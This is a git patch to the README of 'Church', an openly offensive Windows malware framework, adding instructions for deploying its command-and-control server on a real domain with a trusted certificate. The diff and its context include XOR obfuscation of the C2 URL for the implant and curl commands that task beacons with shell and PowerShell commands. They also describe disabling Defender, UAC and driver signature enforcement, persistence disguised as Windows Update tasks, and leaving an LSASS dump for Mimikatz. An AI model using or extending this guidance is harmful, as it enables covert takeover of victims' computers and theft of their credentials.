From 0fdc248d100ec6d07d7bb9df9c34baef837265fa Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Fri, 17 Jul 2026 02:38:36 +0000 Subject: [PATCH] Update README.md --- README.md | 135 ++++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 95 insertions(+), 40 deletions(-) diff --git a/README.md b/README.md index 4b1e075..69fc37a 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,10 @@ - # Church - Weaponized Windows Security Bypass Framework ``` ╔═══════════════════════════════════════════════════════════════════════════╗ ║ CHURCH OF MALWARE ║ - ║ Enterprise Offensive Security Framework ║ + ║ Church - Weaponized Windows Security Bypass Framework ║ ║ by ek0ms savi0r ║ ╚═══════════════════════════════════════════════════════════════════════════╝ ``` @@ -103,6 +102,8 @@ CHAR g_aes_iv_obf[] = "\xB1\xB8\xB7..." // 16-byte AES IV Replace the obfuscated strings with your own XOR-encrypted values using the provided key (0xDD). The C2 server expects matching AES keys. +**Important:** The `g_c2_server_obf` string must contain the full HTTPS URL of your C2 server, including the path `/beacon`. For example, if your domain is `c2.churchofmalware.org`, obfuscate `https://c2.churchofmalware.org/beacon` with XOR key `0xDD`. + --- ## Custom Signed Driver Implementation @@ -116,8 +117,8 @@ Church includes a custom signed driver loader that eliminates reliance on public 5. Falls back to gdrv.sys BYOVD if custom driver fails To use your own signed driver: -- Replace the g_customDriverBase64 placeholder with your base64-encoded driver -- Ensure your driver implements CHURCH_IOCTL_DISABLE_DSE and CHURCH_IOCTL_EXECUTE_SHELLCODE +- Replace the `g_customDriverBase64` placeholder with your base64-encoded driver +- Ensure your driver implements `CHURCH_IOCTL_DISABLE_DSE` and `CHURCH_IOCTL_EXECUTE_SHELLCODE` - Sign the driver with a valid code-signing certificate --- @@ -133,63 +134,117 @@ The C2 server is fully hardened with the following security features: - Rate limiting on all API endpoints (10-30 requests per minute) - HttpOnly, Secure session cookies for web UI -Install dependencies: +**New in v2.1: Built-in Beacon Parser & Lantern.js Graph Compatibility** + +The C2 server now includes a dedicated parser that decrypts incoming beacon data and converts it into structured JSON, as well as a graph format compatible with the Lantern.js visualization frontend. This enables seamless integration with modern threat intelligence dashboards and real-time monitoring. + +Parser endpoints provide: +- **Decryption and parsing** of raw encrypted beacon data +- **Graph conversion** for Lantern.js (nodes/edges/environments) +- **Result parsing** with automatic audit logging + +### Production Deployment with a Real Domain + +In a real operation, you would deploy the C2 server on a public domain with a valid TLS certificate. The steps are: + +1. **Obtain a domain** (e.g., `c2.churchofmalware.org`) and point its DNS to your server's IP. +2. **Acquire a trusted SSL certificate** (e.g., from Let's Encrypt or a commercial CA) for that domain. +3. **Configure the C2 server** to use that certificate and key. +4. **Update the implant's obfuscated C2 string** to match your domain before compiling. + +**Example (using Let's Encrypt):** + +```bash +# Install certbot and obtain certificate +certbot certonly --standalone -d c2.churchofmalware.org + +# The certificate and key will be in /etc/letsencrypt/live/c2.churchofmalware.org/ +# Copy them to your C2 directory and run: +python church_c2_server.py --host 0.0.0.0 --port 443 --cert fullchain.pem --key privkey.pem +``` + +**Obfuscating your C2 URL for the implant:** + +Use the included XOR utility (or a Python one‑liner) to generate the obfuscated bytes for your domain: + +```python +XOR_KEY = 0xDD +url = "https://c2.churchofmalware.org/beacon" +obf = ''.join(f'\\x{(ord(c) ^ XOR_KEY):02X}' for c in url) +print(obf) +# Output: \x78\x9D\x9D... (use this to replace g_c2_server_obf) +``` + +### Local Testing (Self‑Signed Certificate) + +For testing purposes only, you can use a self‑signed certificate: + +```bash +openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes +python church_c2_server.py --host 127.0.0.1 --port 8443 --cert cert.pem --key key.pem +``` + +Then access `https://127.0.0.1:8443` (or `localhost`) and bypass the browser warning. + +--- + +### Dependencies ```bash pip install flask flask-socketio cryptography werkzeug flask-limiter ``` -Generate SSL certificate: +--- -```bash -openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -``` - -Run the C2 server: - -```bash -python church_c2_server.py --host 0.0.0.0 --port 443 --cert cert.pem --key key.pem -``` - -Configure admin credentials via environment variables or config file: - -```bash -export CHURCH_ADMIN_USER="admin" -export CHURCH_ADMIN_HASH="$(python -c 'from werkzeug.security import generate_password_hash; print(generate_password_hash("yourpassword"))')" -``` - -C2 API Endpoints: +### C2 API Endpoints ```bash # List all beacons -curl -H "X-Auth-Token: " https://localhost/api/beacons +curl -H "X-Auth-Token: " https://your-c2-domain/api/beacons # Execute command on beacon curl -X POST -H "X-Auth-Token: " \ -H "Content-Type: application/json" \ -d '{"host": "beacon_id", "command": "whoami"}' \ - https://localhost/api/task + https://your-c2-domain/api/task # Execute PowerShell command curl -X POST -H "X-Auth-Token: " \ -H "Content-Type: application/json" \ -d '{"host": "beacon_id", "command": "Get-Process", "powershell": true}' \ - https://localhost/api/task + https://your-c2-domain/api/task # Get beacon details curl -H "X-Auth-Token: " \ - https://localhost/api/beacon/ + https://your-c2-domain/api/beacon/ # Get task history curl -H "X-Auth-Token: " \ - https://localhost/api/tasks/ + https://your-c2-domain/api/tasks/ # Get system statistics curl -H "X-Auth-Token: " \ - https://localhost/api/stats + https://your-c2-domain/api/stats + +# --- NEW PARSER ENDPOINTS (v2.1) --- + +# Parse raw beacon data and return both decrypted JSON and graph format +curl -X POST -H "X-Auth-Token: " \ + -d "d=" \ + https://your-c2-domain/api/beacon/parse + +# Convert raw beacon data directly to js graph format +curl -X POST -H "X-Auth-Token: " \ + -d "d=" \ + https://your-c2-domain/api/beacon/graph + +# Parse command result and log it as an audit event +curl -X POST -H "X-Auth-Token: " \ + -d "d=" \ + https://your-c2-domain/api/beacon/result/parse ``` -Web UI Access: https://c2-server:443 +Web UI Access: `https://your-c2-domain` --- @@ -201,7 +256,7 @@ Run the compiled executable as Administrator: church.exe ``` -The tool auto-elevates if not already running with administrative privileges. +The tool auto‑elevates if not already running with administrative privileges. --- @@ -209,17 +264,17 @@ The tool auto-elevates if not already running with administrative privileges. After Church executes and forces a system reboot, the following persistent mechanisms remain active: -1. Persistence Triggers: +1. **Persistence Triggers:** - Scheduled task "WindowsUpdateTask" runs the Church binary at user login - Scheduled task "MicrosoftUpdateTask" runs daily at 09:00 - WMI event subscription triggers on explorer.exe startup - - Windows service "WindowsUpdateService" auto-starts + - Windows service "WindowsUpdateService" auto‑starts - Registry Run key executes the binary at boot - BootExecute registry entry runs the binary during system initialization - IFEO Debugger for svchost.exe and explorer.exe triggers execution - Silent Process Exit Monitor relaunches the binary when svchost.exe exits -2. Disabled Protections (Persist Across Reboots): +2. **Disabled Protections (Persist Across Reboots):** - Windows Defender service disabled (WinDefend) - Tamper Protection registry key set to 0 - UAC disabled (EnableLUA = 0) @@ -228,17 +283,17 @@ After Church executes and forces a system reboot, the following persistent mecha - DSE remains disabled (kernel patched) - System Restore disabled -3. C2 Beacon: - - The binary auto-starts via multiple persistence mechanisms +3. **C2 Beacon:** + - The binary auto‑starts via multiple persistence mechanisms - Beacon thread begins sending HTTPS requests to the configured C2 server - System information (computer name, user, OS, Defender status, AV products) is transmitted - The beacon waits for commands from the C2 server -4. Credential Access: +4. **Credential Access:** - LSASS dump file (C:\lsass.dmp) remains on disk with hidden attribute - Can be extracted and processed with Mimikatz offline -5. Network Access: +5. **Network Access:** - Firewall rules allow outbound HTTPS on port 443 - Telemetry domains blocked in hosts file - DNS over HTTPS configured for stealth @@ -249,4 +304,4 @@ The target system remains fully compromised with remote access via the C2 channe ## Disclaimer -FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. +FOR AUTHORIZED TESTING AND EDUCATIONAL PURPOSES ONLY. The Church of Malware assumes no liability for misuse. \ No newline at end of file